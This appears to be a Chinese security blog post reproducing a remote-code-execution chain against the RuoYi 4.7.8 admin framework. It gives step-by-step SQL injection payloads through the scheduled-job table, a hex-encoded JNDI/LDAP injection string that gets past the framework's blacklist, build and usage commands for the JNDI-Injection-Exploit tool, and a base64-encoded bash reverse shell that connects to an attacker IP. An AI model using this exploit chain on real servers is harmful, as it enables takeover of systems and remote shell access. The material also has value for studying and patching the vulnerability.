最新Ruoyi漏洞复现

最新Ruoyi漏洞复现

原创 LULU 红队蓝军 2024-10-09 18:00

漏洞影响:若依4.7.8版本

漏洞成因

在 ruoyi 4.7.5 版本之前,后台接口/tool/gen/createTable处存在 sql 注入(CVE-2022-4566)

找到genTableService的实现类:GenTableServiceImpl,该类同样满足黑白名单条件

对应的 Mapper 语句:

<update id="createTable">
       ${sql}
</update>

如果 GenTableServiceImpl 是 bean 对象,就可以直接调用 GenTableServiceImpl#createTable 执行 SQL 语句

在启动类中打印所有加载的 bean,其中包括 genTableServiceImpl:

ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
// 获取所有bean的名称
String[] beanDefinitionNames = run.getBeanDefinitionNames();
// 打印所有bean的名称
for (String beanDefinitionName : beanDefinitionNames) {
    System.out.println(beanDefinitionName);
}


ruoyi黑白名单校验仅出现在com.ruoyi.quartz.controller.SysJobController#addSave,而任务状态修改接口中并没有添加,可不调用addSave方法添加计划任务内容,成功绕过黑白名单限制

计划任务SQL注入

修改id为1的计划任务的值为’zian’

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'zian' WHERE job_id = 1;')

点击启用任务,ID为1的值成功被修改

利用计划任务执行任意命令

验证漏洞

使用JNDI-Injection-Exploit起一个ldap服务

${jndi://ldap://xxxx.xxx.cn}

解析payload
1、首先 发现字符串有${},调用lookup函数
2、解析${}中的内容发现是JNDI的ldap服务
3、攻击者构造任意命令

1、JNDI利用工具

安装:git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

切换目录:cd JNDI-Injection-Exploit

编译安装:mvn clean package -DskipTests 

切换到target目录 cd target


使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,依赖Java 版本1.8 或者1.7

工具使用方式:java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -c"命令" -A “攻击机的IP”

jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C calc -A 攻击机IP

由于JobInvokeUtil在调用过程中不允许在字符串中使用括号,因此将原始作业表中特定作业的参数值修改为十六进制(绕过防御检测)

需要将ldap服务进行编码

0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3139322E3136382E312E3130343A313338392F646573657269616C4A61636B736F6E2729

修改id为3的计划任务为jndi payload

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3139322E3136382E312E3130343A313338392F646573657269616C4A61636B736F6E2729 WHERE job_id = 3;')

启用任务

任务3的调用字符串已经是Jndi payload了,后面直接通过/monitor/job/changeStatus接口直接更改任务状态触发Jndi

漏洞利用

linux反弹shell

将反弹shell通过JNDI注入工具部署在LDAP服务 或者RMI 服务中

bash -i >& /dev/tcp/192.168.xx.xx/7788 0>&1
base64编码后
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}

生成LDAP服务

运行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}" -A "攻击机ip"

将ldap服务十六进制编码后,通过计划任务id=2执行,这里使用kali 进行监听

参考文章:

https://eddiemurphy89.github.io/2024/08/08/Ruoyi-v4-7-8-RCE%E5%88%86%E6%9E%90/

加下方wx,拉你一起进群学习